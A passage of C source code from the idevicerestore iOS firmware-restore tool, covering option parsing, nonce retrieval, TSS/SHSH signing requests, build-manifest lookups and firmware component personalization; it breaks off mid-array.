plain_progress_cb(int step, double step_progress, void* userdata) { printf("progress: %u %f\n", step, step_progress); fflush(stdout); } int main(int argc, char* argv[]) { int opt = 0; int optindex = 0; char* ipsw = NULL; int ipsw_info = 0; int result = 0; struct idevicerestore_client_t* client = idevicerestore_client_new(); if (client == NULL) { error("ERROR: could not create idevicerestore client\n"); return EXIT_FAILURE; } idevicerestore_client = client; #ifdef WIN32 signal(SIGINT, handle_signal); signal(SIGTERM, handle_signal); signal(SIGABRT, handle_signal); #else struct sigaction sa; memset(&sa, 0, sizeof(struct sigaction)); sa.sa_handler = handle_signal; sigaction(SIGINT, &sa, NULL); sigaction(SIGTERM, &sa, NULL); sigaction(SIGQUIT, &sa, NULL); sa.sa_handler = SIG_IGN; sigaction(SIGPIPE, &sa, NULL); #endif if (!isatty(fileno(stdin)) || !isatty(fileno(stdout))) { client->flags &= ~FLAG_INTERACTIVE; } else { client->flags |= FLAG_INTERACTIVE; } while ((opt = getopt_long(argc, argv, "dhces:xtpli:u:nC:kyPRT:zv", longopts, &optindex)) > 0) { switch (opt) { case 'h': usage(argc, argv, 0); return EXIT_SUCCESS; case 'd': client->flags |= FLAG_DEBUG; client->debug_level++; break; case 'e': client->flags |= FLAG_ERASE; break; case 'c': client->flags |= FLAG_CUSTOM; break; case 's': { if (!*optarg) { error("ERROR: URL argument for --server must not be empty!\n"); usage(argc, argv, 1); return EXIT_FAILURE; } char *baseurl = NULL; if (!strncmp(optarg, "http://", 7) && (strlen(optarg) > 7) && (optarg[7] != '/')) { baseurl = optarg+7; } else if (!strncmp(optarg, "https://", 8) && (strlen(optarg) > 8) && (optarg[8] != '/')) { baseurl = optarg+8; } if (baseurl) { char *p = strchr(baseurl, '/'); if (!p || *(p+1) == '\0') { // no path component, add default path const char default_path[] = "/TSS/controller?action=2"; char* newurl = malloc(strlen(optarg)+sizeof(default_path)); sprintf(newurl, "%s%s", optarg, (p) ? default_path+1 : default_path); client->tss_url = newurl; } else { client->tss_url = strdup(optarg); } } else { error("ERROR: URL argument for --server is invalid, must start with http:// or https://\n"); usage(argc, argv, 1); return EXIT_FAILURE; } } break; case 'x': client->flags |= FLAG_EXCLUDE; break; case 'l': client->flags |= FLAG_LATEST; break; case 'i': if (optarg) { char* tail = NULL; client->ecid = strtoull(optarg, &tail, 0); if (tail && (tail[0] != '\0')) { client->ecid = 0; } if (client->ecid == 0) { error("ERROR: Could not parse ECID from '%s'\n", optarg); return EXIT_FAILURE; } } break; case 'u': if (!*optarg) { error("ERROR: UDID must not be empty!\n"); usage(argc, argv, 1); return EXIT_FAILURE; } client->udid = strdup(optarg); break; case 't': client->flags |= FLAG_SHSHONLY; break; case 'k': idevicerestore_keep_pers = 1; break; case 'p': client->flags |= FLAG_PWN; break; case 'n': client->flags |= FLAG_NOACTION; break; case 'C': client->cache_dir = strdup(optarg); break; case 'y': client->flags &= ~FLAG_INTERACTIVE; break; case 'P': idevicerestore_set_progress_callback(client, plain_progress_cb, NULL); break; case 'R': client->flags |= FLAG_ALLOW_RESTORE_MODE; break; case 'z': client->flags |= FLAG_NO_RESTORE; break; case 'v': info("%s %s\n", PACKAGE_NAME, PACKAGE_VERSION); return EXIT_SUCCESS; case 'T': { size_t root_ticket_len = 0; unsigned char* root_ticket = NULL; if (read_file(optarg, (void**)&root_ticket, &root_ticket_len) != 0) { return EXIT_FAILURE; } client->root_ticket = root_ticket; client->root_ticket_len = (int)root_ticket_len; info("Using ApTicket found at %s length %u\n", optarg, client->root_ticket_len); break; } case 'I': ipsw_info = 1; break; case 1: client->flags |= FLAG_IGNORE_ERRORS; break; case 2: free(client->restore_variant); client->restore_variant = strdup(optarg); break; default: usage(argc, argv, 1); return EXIT_FAILURE; } } if (ipsw_info) { if (argc-optind != 1) { error("ERROR: --ipsw-info requires an IPSW path.\n"); usage(argc, argv, 1); return EXIT_FAILURE; } return (ipsw_print_info(*(argv + optind)) == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } if (((argc-optind) == 1) || (client->flags & FLAG_PWN) || (client->flags & FLAG_LATEST)) { argc -= optind; argv += optind; ipsw = argv[0]; } else { usage(argc, argv, 1); return EXIT_FAILURE; } if ((client->flags & FLAG_LATEST) && (client->flags & FLAG_CUSTOM)) { error("ERROR: You can't use --custom and --latest options at the same time.\n"); return EXIT_FAILURE; } info("%s %s\n", PACKAGE_NAME, PACKAGE_VERSION); if (ipsw) { // verify if ipsw file exists client->ipsw = ipsw_open(ipsw); if (!client->ipsw) { error("ERROR: Firmware file %s cannot be opened.\n", ipsw); return -1; } } curl_global_init(CURL_GLOBAL_ALL); result = idevicerestore_start(client); idevicerestore_client_free(client); curl_global_cleanup(); return (result == 0) ? EXIT_SUCCESS : EXIT_FAILURE; } #endif irecv_device_t get_irecv_device(struct idevicerestore_client_t *client) { int mode = _MODE_UNKNOWN; if (client->mode) { mode = client->mode->index; } switch (mode) { case _MODE_RESTORE: return restore_get_irecv_device(client); case _MODE_NORMAL: return normal_get_irecv_device(client); case _MODE_DFU: case _MODE_PORTDFU: case _MODE_RECOVERY: return dfu_get_irecv_device(client); default: return NULL; } } int is_image4_supported(struct idevicerestore_client_t* client) { int res = 0; int mode = _MODE_UNKNOWN; if (client->mode) { mode = client->mode->index; } switch (mode) { case _MODE_NORMAL: res = normal_is_image4_supported(client); break; case _MODE_RESTORE: res = restore_is_image4_supported(client); break; case _MODE_DFU: res = dfu_is_image4_supported(client); break; case _MODE_RECOVERY: res = recovery_is_image4_supported(client); break; default: error("ERROR: Device is in an invalid state\n"); return 0; } return res; } int get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { int mode = _MODE_UNKNOWN; *nonce = NULL; *nonce_size = 0; info("Getting ApNonce "); if (client->mode) { mode = client->mode->index; } switch (mode) { case _MODE_NORMAL: info("in normal mode... "); if (normal_get_ap_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; case _MODE_DFU: info("in dfu mode... "); if (dfu_get_ap_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; case _MODE_RECOVERY: info("in recovery mode... "); if (recovery_get_ap_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; default: info("failed\n"); error("ERROR: Device is in an invalid state\n"); return -1; } int i = 0; for (i = 0; i < *nonce_size; i++) { info("%02x ", (*nonce)[i]); } info("\n"); return 0; } int get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { int mode = _MODE_UNKNOWN; *nonce = NULL; *nonce_size = 0; info("Getting SepNonce "); if (client->mode) { mode = client->mode->index; } switch (mode) { case _MODE_NORMAL: info("in normal mode... "); if (normal_get_sep_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; case _MODE_DFU: info("in dfu mode... "); if (dfu_get_sep_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; case _MODE_RECOVERY: info("in recovery mode... "); if (recovery_get_sep_nonce(client, nonce, nonce_size) < 0) { info("failed\n"); return -1; } break; default: info("failed\n"); error("ERROR: Device is in an invalid state\n"); return -1; } int i = 0; for (i = 0; i < *nonce_size; i++) { info("%02x ", (*nonce)[i]); } info("\n"); return 0; } plist_t build_manifest_get_build_identity_for_model_with_variant(plist_t build_manifest, const char *hardware_model, const char *variant, int exact) { plist_t build_identities_array = plist_dict_get_item(build_manifest, "BuildIdentities"); if (!build_identities_array || plist_get_node_type(build_identities_array) != PLIST_ARRAY) { error("ERROR: Unable to find build identities node\n"); return NULL; } uint32_t i; for (i = 0; i < plist_array_get_size(build_identities_array); i++) { plist_t ident = plist_array_get_item(build_identities_array, i); if (!ident || plist_get_node_type(ident) != PLIST_DICT) { continue; } plist_t info_dict = plist_dict_get_item(ident, "Info"); if (!info_dict || plist_get_node_type(ident) != PLIST_DICT) { continue; } plist_t devclass = plist_dict_get_item(info_dict, "DeviceClass"); if (!devclass || plist_get_node_type(devclass) != PLIST_STRING) { continue; } const char *str = plist_get_string_ptr(devclass, NULL); if (strcasecmp(str, hardware_model) != 0) { continue; } if (variant) { plist_t rvariant = plist_dict_get_item(info_dict, "Variant"); if (!rvariant || plist_get_node_type(rvariant) != PLIST_STRING) { continue; } str = plist_get_string_ptr(rvariant, NULL); if (strcmp(str, variant) != 0) { /* if it's not a full match, let's try a partial match, but ignore "*Research*" */ if (!exact && strstr(str, variant) && !strstr(str, "Research")) { return ident; } continue; } else { return ident; } } else { return ident; } } return NULL; } plist_t build_manifest_get_build_identity_for_model(plist_t build_manifest, const char *hardware_model) { return build_manifest_get_build_identity_for_model_with_variant(build_manifest, hardware_model, NULL, 0); } int get_preboard_manifest(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* manifest) { plist_t request = NULL; *manifest = NULL; if (!client->image4supported) { return -1; } /* populate parameters */ plist_t parameters = plist_new_dict(); plist_t overrides = plist_new_dict(); plist_dict_set_item(overrides, "@APTicket", plist_new_bool(1)); plist_dict_set_item(overrides, "ApProductionMode", plist_new_uint(0)); plist_dict_set_item(overrides, "ApSecurityDomain", plist_new_uint(1)); plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(0)); plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(0)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); tss_parameters_add_from_manifest(parameters, build_identity, true); /* create basic request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create TSS request\n"); plist_free(parameters); return -1; } /* add common tags from manifest */ if (tss_request_add_common_tags(request, parameters, overrides) < 0) { error("ERROR: Unable to add common tags\n"); plist_free(request); plist_free(parameters); return -1; } plist_dict_set_item(parameters, "_OnlyFWComponents", plist_new_bool(1)); /* add tags from manifest */ if (tss_request_add_ap_tags(request, parameters, NULL) < 0) { error("ERROR: Unable to add ap tags\n"); plist_free(request); plist_free(parameters); return -1; } plist_t local_manifest = NULL; int res = img4_create_local_manifest(request, build_identity, &local_manifest); *manifest = local_manifest; plist_free(request); plist_free(parameters); plist_free(overrides); return res; } int get_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss) { plist_t request = NULL; plist_t response = NULL; *tss = NULL; if ((client->build_major <= 8) || (client->flags & FLAG_CUSTOM)) { error("checking for local shsh\n"); /* first check for local copy */ char zfn[1024]; if (client->version) { if (client->cache_dir) { sprintf(zfn, "%s/shsh/%" PRIu64 "-%s-%s.shsh", client->cache_dir, client->ecid, client->device->product_type, client->version); } else { sprintf(zfn, "shsh/%" PRIu64 "-%s-%s.shsh", client->ecid, client->device->product_type, client->version); } struct stat fst; if (stat(zfn, &fst) == 0) { gzFile zf = gzopen(zfn, "rb"); if (zf) { int blen = 0; int readsize = 16384; int bufsize = readsize; char* bin = (char*)malloc(bufsize); char* p = bin; do { int bytes_read = gzread(zf, p, readsize); if (bytes_read < 0) { fprintf(stderr, "Error reading gz compressed data\n"); exit(EXIT_FAILURE); } blen += bytes_read; if (bytes_read < readsize) { if (gzeof(zf)) { bufsize += bytes_read; break; } } bufsize += readsize; bin = realloc(bin, bufsize); p = bin + blen; } while (!gzeof(zf)); gzclose(zf); if (blen > 0) { if (memcmp(bin, "bplist00", 8) == 0) { plist_from_bin(bin, blen, tss); } else { plist_from_xml(bin, blen, tss); } } free(bin); } } else { error("no local file %s\n", zfn); } } else { error("No version found?!\n"); } } if (*tss) { info("Using cached SHSH\n"); return 0; } else { info("Trying to fetch new SHSH blob\n"); } /* populate parameters */ plist_t parameters = plist_new_dict(); plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid)); if (client->nonce) { plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size)); } unsigned char* sep_nonce = NULL; unsigned int sep_nonce_size = 0; get_sep_nonce(client, &sep_nonce, &sep_nonce_size); if (sep_nonce) { plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size)); free(sep_nonce); } plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } tss_parameters_add_from_manifest(parameters, build_identity, true); /* create basic request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create TSS request\n"); plist_free(parameters); return -1; } /* add common tags from manifest */ if (tss_request_add_common_tags(request, parameters, NULL) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* add tags from manifest */ if (tss_request_add_ap_tags(request, parameters, NULL) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } if (client->image4supported) { /* add personalized parameters */ if (tss_request_add_ap_img4_tags(request, parameters) < 0) { error("ERROR: Unable to add img4 tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } } else { /* add personalized parameters */ if (tss_request_add_ap_img3_tags(request, parameters) < 0) { error("ERROR: Unable to add img3 tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } } if (client->mode == MODE_NORMAL) { /* normal mode; request baseband ticket aswell */ plist_t pinfo = NULL; normal_get_preflight_info(client, &pinfo); if (pinfo) { plist_dict_copy_data(parameters, pinfo, "BbNonce", "Nonce"); plist_dict_copy_uint(parameters, pinfo, "BbChipID", "ChipID"); plist_dict_copy_uint(parameters, pinfo, "BbGoldCertId", "CertID"); plist_dict_copy_data(parameters, pinfo, "BbSNUM", "ChipSerialNo"); /* add baseband parameters */ tss_request_add_baseband_tags(request, parameters, NULL); plist_dict_copy_uint(parameters, pinfo, "eUICC,ChipID", "EUICCChipID"); if (plist_dict_get_uint(parameters, "eUICC,ChipID") >= 5) { plist_dict_copy_data(parameters, pinfo, "eUICC,EID", "EUICCCSN"); plist_dict_copy_data(parameters, pinfo, "eUICC,RootKeyIdentifier", "EUICCCertIdentifier"); plist_dict_copy_data(parameters, pinfo, "EUICCGoldNonce", NULL); plist_dict_copy_data(parameters, pinfo, "EUICCMainNonce", NULL); /* add vinyl parameters */ tss_request_add_vinyl_tags(request, parameters, NULL); } } client->preflight_info = pinfo; } /* send request and grab response */ response = tss_request_send(request, client->tss_url); if (response == NULL) { info("ERROR: Unable to send TSS request\n"); plist_free(request); plist_free(parameters); return -1; } info("Received SHSH blobs\n"); plist_free(request); plist_free(parameters); *tss = response; return 0; } int get_recoveryos_root_ticket_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss) { plist_t request = NULL; plist_t response = NULL; *tss = NULL; /* populate parameters */ plist_t parameters = plist_new_dict(); /* ApECID */ plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid)); plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(0)); /* ApNonce */ if (client->nonce) { plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size)); } unsigned char* sep_nonce = NULL; unsigned int sep_nonce_size = 0; get_sep_nonce(client, &sep_nonce, &sep_nonce_size); /* ApSepNonce */ if (sep_nonce) { plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size)); free(sep_nonce); } /* ApProductionMode */ plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); /* ApSecurityMode */ if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } tss_parameters_add_from_manifest(parameters, build_identity, true); /* create basic request */ /* Adds @HostPlatformInfo, @VersionInfo, @UUID */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create TSS request\n"); plist_free(parameters); return -1; } /* add common tags from manifest */ /* Adds Ap,OSLongVersion, ApNonce, @ApImg4Ticket */ if (tss_request_add_ap_img4_tags(request, parameters) < 0) { error("ERROR: Unable to add AP IMG4 tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* add AP tags from manifest */ if (tss_request_add_common_tags(request, parameters, NULL) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* add AP tags from manifest */ /* Fills digests & co */ if (tss_request_add_ap_recovery_tags(request, parameters, NULL) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* send request and grab response */ response = tss_request_send(request, client->tss_url); if (response == NULL) { info("ERROR: Unable to send TSS request\n"); plist_free(request); plist_free(parameters); return -1; } // request_add_ap_tags info("Received SHSH blobs\n"); plist_free(request); plist_free(parameters); *tss = response; return 0; } int get_recovery_os_local_policy_tss_response( struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss, plist_t args) { plist_t request = NULL; plist_t response = NULL; *tss = NULL; /* populate parameters */ plist_t parameters = plist_new_dict(); plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid)); plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(1)); plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } tss_parameters_add_from_manifest(parameters, build_identity, true); // Add Ap,LocalPolicy uint8_t digest[SHA384_DIGEST_LENGTH]; sha384(lpol_file, lpol_file_length, digest); plist_t lpol = plist_new_dict(); plist_dict_set_item(lpol, "Digest", plist_new_data((char*)digest, SHA384_DIGEST_LENGTH)); plist_dict_set_item(lpol, "Trusted", plist_new_bool(1)); plist_dict_set_item(parameters, "Ap,LocalPolicy", lpol); plist_dict_copy_data(parameters, args, "Ap,NextStageIM4MHash", NULL); plist_dict_copy_data(parameters, args, "Ap,RecoveryOSPolicyNonceHash", NULL); plist_t vol_uuid_node = plist_dict_get_item(args, "Ap,VolumeUUID"); char* vol_uuid_str = NULL; plist_get_string_val(vol_uuid_node, &vol_uuid_str); unsigned int vuuid[16]; unsigned char vol_uuid[16]; if (sscanf(vol_uuid_str, "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x", &vuuid[0], &vuuid[1], &vuuid[2], &vuuid[3], &vuuid[4], &vuuid[5], &vuuid[6], &vuuid[7], &vuuid[8], &vuuid[9], &vuuid[10], &vuuid[11], &vuuid[12], &vuuid[13], &vuuid[14], &vuuid[15]) != 16) { error("ERROR: Failed to parse Ap,VolumeUUID (%s)\n", vol_uuid_str); free(vol_uuid_str); return -1; } free(vol_uuid_str); int i; for (i = 0; i < 16; i++) { vol_uuid[i] = (unsigned char)vuuid[i]; } plist_dict_set_item(parameters, "Ap,VolumeUUID", plist_new_data((char*)vol_uuid, 16)); /* create basic request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create TSS request\n"); plist_free(parameters); return -1; } /* add common tags from manifest */ if (tss_request_add_local_policy_tags(request, parameters) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* send request and grab response */ response = tss_request_send(request, client->tss_url); if (response == NULL) { info("ERROR: Unable to send TSS request\n"); plist_free(request); plist_free(parameters); return -1; } info("Received SHSH blobs\n"); plist_free(request); plist_free(parameters); *tss = response; return 0; } int get_local_policy_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss) { plist_t request = NULL; plist_t response = NULL; *tss = NULL; /* populate parameters */ plist_t parameters = plist_new_dict(); plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid)); plist_dict_set_item(parameters, "Ap,LocalBoot", plist_new_bool(0)); if (client->nonce) { plist_dict_set_item(parameters, "ApNonce", plist_new_data((const char*)client->nonce, client->nonce_size)); } unsigned char* sep_nonce = NULL; unsigned int sep_nonce_size = 0; get_sep_nonce(client, &sep_nonce, &sep_nonce_size); if (sep_nonce) { plist_dict_set_item(parameters, "ApSepNonce", plist_new_data((const char*)sep_nonce, sep_nonce_size)); free(sep_nonce); } plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } tss_parameters_add_from_manifest(parameters, build_identity, true); // Add Ap,LocalPolicy uint8_t digest[SHA384_DIGEST_LENGTH]; sha384(lpol_file, lpol_file_length, digest); plist_t lpol = plist_new_dict(); plist_dict_set_item(lpol, "Digest", plist_new_data((char*)digest, SHA384_DIGEST_LENGTH)); plist_dict_set_item(lpol, "Trusted", plist_new_bool(1)); plist_dict_set_item(parameters, "Ap,LocalPolicy", lpol); // Add Ap,NextStageIM4MHash // Get previous TSS ticket uint8_t* ticket = NULL; uint32_t ticket_length = 0; tss_response_get_ap_img4_ticket(client->tss, &ticket, &ticket_length); // Hash it and add it as Ap,NextStageIM4MHash uint8_t hash[SHA384_DIGEST_LENGTH]; sha384(ticket, ticket_length, hash); plist_dict_set_item(parameters, "Ap,NextStageIM4MHash", plist_new_data((char*)hash, SHA384_DIGEST_LENGTH)); /* create basic request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create TSS request\n"); plist_free(parameters); return -1; } /* add common tags from manifest */ if (tss_request_add_local_policy_tags(request, parameters) < 0) { error("ERROR: Unable to add common tags to TSS request\n"); plist_free(request); plist_free(parameters); return -1; } /* send request and grab response */ response = tss_request_send(request, client->tss_url); if (response == NULL) { info("ERROR: Unable to send TSS request\n"); plist_free(request); plist_free(parameters); return -1; } info("Received SHSH blobs\n"); plist_free(request); plist_free(parameters); *tss = response; return 0; } void fixup_tss(plist_t tss) { plist_t node; plist_t node2; node = plist_dict_get_item(tss, "RestoreLogo"); if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) { node2 = plist_dict_get_item(tss, "AppleLogo"); if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) { plist_dict_remove_item(tss, "RestoreLogo"); plist_dict_set_item(tss, "RestoreLogo", plist_copy(node2)); } } node = plist_dict_get_item(tss, "RestoreDeviceTree"); if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) { node2 = plist_dict_get_item(tss, "DeviceTree"); if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) { plist_dict_remove_item(tss, "RestoreDeviceTree"); plist_dict_set_item(tss, "RestoreDeviceTree", plist_copy(node2)); } } node = plist_dict_get_item(tss, "RestoreKernelCache"); if (node && (plist_get_node_type(node) == PLIST_DICT) && (plist_dict_get_size(node) == 0)) { node2 = plist_dict_get_item(tss, "KernelCache"); if (node2 && (plist_get_node_type(node2) == PLIST_DICT)) { plist_dict_remove_item(tss, "RestoreKernelCache"); plist_dict_set_item(tss, "RestoreKernelCache", plist_copy(node2)); } } } int build_manifest_get_identity_count(plist_t build_manifest) { // fetch build identities array from BuildManifest plist_t build_identities_array = plist_dict_get_item(build_manifest, "BuildIdentities"); if (!build_identities_array || plist_get_node_type(build_identities_array) != PLIST_ARRAY) { error("ERROR: Unable to find build identities node\n"); return -1; } return plist_array_get_size(build_identities_array); } int extract_component(ipsw_archive_t ipsw, const char* path, unsigned char** component_data, unsigned int* component_size) { char* component_name = NULL; if (!ipsw || !path || !component_data || !component_size) { return -1; } component_name = strrchr(path, '/'); if (component_name != NULL) component_name++; else component_name = (char*) path; info("Extracting %s (%s)...\n", component_name, path); if (ipsw_extract_to_memory(ipsw, path, component_data, component_size) < 0) { error("ERROR: Unable to extract %s from %s\n", component_name, ipsw->path); return -1; } return 0; } int personalize_component(const char *component_name, const unsigned char* component_data, unsigned int component_size, plist_t tss_response, unsigned char** personalized_component, unsigned int* personalized_component_size) { unsigned char* component_blob = NULL; unsigned int component_blob_size = 0; unsigned char* stitched_component = NULL; unsigned int stitched_component_size = 0; if (tss_response && plist_dict_get_item(tss_response, "ApImg4Ticket")) { /* stitch ApImg4Ticket into IMG4 file */ img4_stitch_component(component_name, component_data, component_size, tss_response, &stitched_component, &stitched_component_size); } else { /* try to get blob for current component from tss response */ if (tss_response && tss_response_get_blob_by_entry(tss_response, component_name, &component_blob) < 0) { debug("NOTE: No SHSH blob found for component %s\n", component_name); } if (component_blob != NULL) { if (img3_stitch_component(component_name, component_data, component_size, component_blob, 64, &stitched_component, &stitched_component_size) < 0) { error("ERROR: Unable to replace %s IMG3 signature\n", component_name); free(component_blob); return -1; } } else { info("Not personalizing component %s...\n", component_name); stitched_component = (unsigned char*)malloc(component_size); if (stitched_component) { stitched_component_size = component_size; memcpy(stitched_component, component_data, component_size); } } } free(component_blob); if (idevicerestore_keep_pers) { write_file(component_name, stitched_component, stitched_component_size); } *personalized_component = stitched_component; *personalized_component_size = stitched_component_size; return 0; } int build_manifest_check_compatibility(plist_t build_manifest, const char* product) { int res = -1; plist_t node = plist_dict_get_item(build_manifest, "SupportedProductTypes"); if (!node || (plist_get_node_type(node) != PLIST_ARRAY)) { debug("%s: ERROR: SupportedProductTypes key missing\n", __func__); debug("%s: WARNING: If attempting to install iPhoneOS 2.x, be advised that Restore.plist does not contain the", __func__); debug("%s: WARNING: key 'SupportedProductTypes'. Recommendation is to manually add it to the Restore.plist.", __func__); return -1; } uint32_t pc = plist_array_get_size(node); uint32_t i; for (i = 0; i < pc; i++) { plist_t prod = plist_array_get_item(node, i); if (plist_get_node_type(prod) == PLIST_STRING) { char *val = NULL; plist_get_string_val(prod, &val); if (val && (strcmp(val, product) == 0)) { res = 0; free(val); break; } } } return res; } void build_manifest_get_version_information(plist_t build_manifest, struct idevicerestore_client_t* client) { plist_t node = NULL; client->version = NULL; client->build = NULL; node = plist_dict_get_item(build_manifest, "ProductVersion"); if (!node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unable to find ProductVersion node\n"); return; } plist_get_string_val(node, &client->version); node = plist_dict_get_item(build_manifest, "ProductBuildVersion"); if (!node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unable to find ProductBuildVersion node\n"); return; } plist_get_string_val(node, &client->build); client->build_major = strtoul(client->build, NULL, 10); } void build_identity_print_information(plist_t build_identity) { char* value = NULL; plist_t info_node = NULL; plist_t node = NULL; info_node = plist_dict_get_item(build_identity, "Info"); if (!info_node || plist_get_node_type(info_node) != PLIST_DICT) { error("ERROR: Unable to find Info node\n"); return; } node = plist_dict_get_item(info_node, "Variant"); if (!node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unable to find Variant node\n"); return; } plist_get_string_val(node, &value); info("Variant: %s\n", value); if (strstr(value, RESTORE_VARIANT_UPGRADE_INSTALL)) info("This restore will update the device without erasing user data.\n"); else if (strstr(value, RESTORE_VARIANT_ERASE_INSTALL)) info("This restore will erase all device data.\n"); else info("Unknown Variant '%s'\n", value); free(value); info_node = NULL; node = NULL; } int build_identity_check_components_in_ipsw(plist_t build_identity, ipsw_archive_t ipsw) { plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest"); if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) { return -1; } int res = 0; plist_dict_iter iter = NULL; plist_dict_new_iter(manifest_node, &iter); plist_t node = NULL; char *key = NULL; do { node = NULL; key = NULL; plist_dict_next_item(manifest_node, iter, &key, &node); if (key && node) { plist_t path = plist_access_path(node, 2, "Info", "Path"); if (path) { char *comp_path = NULL; plist_get_string_val(path, &comp_path); if (comp_path) { if (!ipsw_file_exists(ipsw, comp_path)) { error("ERROR: %s file %s not found in IPSW\n", key, comp_path); res = -1; } free(comp_path); } } } free(key); } while (node); return res; } int build_identity_has_component(plist_t build_identity, const char* component) { plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest"); if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) { return 0; } plist_t component_node = plist_dict_get_item(manifest_node, component); if (!component_node || plist_get_node_type(component_node) != PLIST_DICT) { return 0; } return 1; } int build_identity_get_component_path(plist_t build_identity, const char* component, char** path) { char* filename = NULL; plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest"); if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) { error("ERROR: Unable to find manifest node\n"); if (filename) free(filename); return -1; } plist_t component_node = plist_dict_get_item(manifest_node, component); if (!component_node || plist_get_node_type(component_node) != PLIST_DICT) { error("ERROR: Unable to find component node for %s\n", component); if (filename) free(filename); return -1; } plist_t component_info_node = plist_dict_get_item(component_node, "Info"); if (!component_info_node || plist_get_node_type(component_info_node) != PLIST_DICT) { error("ERROR: Unable to find component info node for %s\n", component); if (filename) free(filename); return -1; } plist_t component_info_path_node = plist_dict_get_item(component_info_node, "Path"); if (!component_info_path_node || plist_get_node_type(component_info_path_node) != PLIST_STRING) { error("ERROR: Unable to find component info path node for %s\n", component); if (filename) free(filename); return -1; } plist_get_string_val(component_info_path_node, &filename); *path = filename; return 0; } const char* get_component_name(const char* filename) { struct filename_component_map { const char *fnprefix; int matchlen; const char *compname; }; struct filename_component_map fn_comp_map[] = { { "LLB", 3, "LLB" }, { "iBoot", 5, "iBoot" }, { "DeviceTree", 10, "DeviceTree" }, { "applelogo", 9, "AppleLogo" }, { "liquiddetect", 12, "Liquid" }, { "lowpowermode", 12, "LowPowerWallet0" }, { "recoverymode", 12, "RecoveryMode" }, { "batterylow0", 11, "BatteryLow0" }, { "batterylow1", 11, "BatteryLow1" }, { "glyphcharging", 13, "BatteryCharging" }, { "glyphplugin", 11, "BatteryPlugin" }, { "batterycharging0", 16, "BatteryCharging0" }, { "batterycharging1", 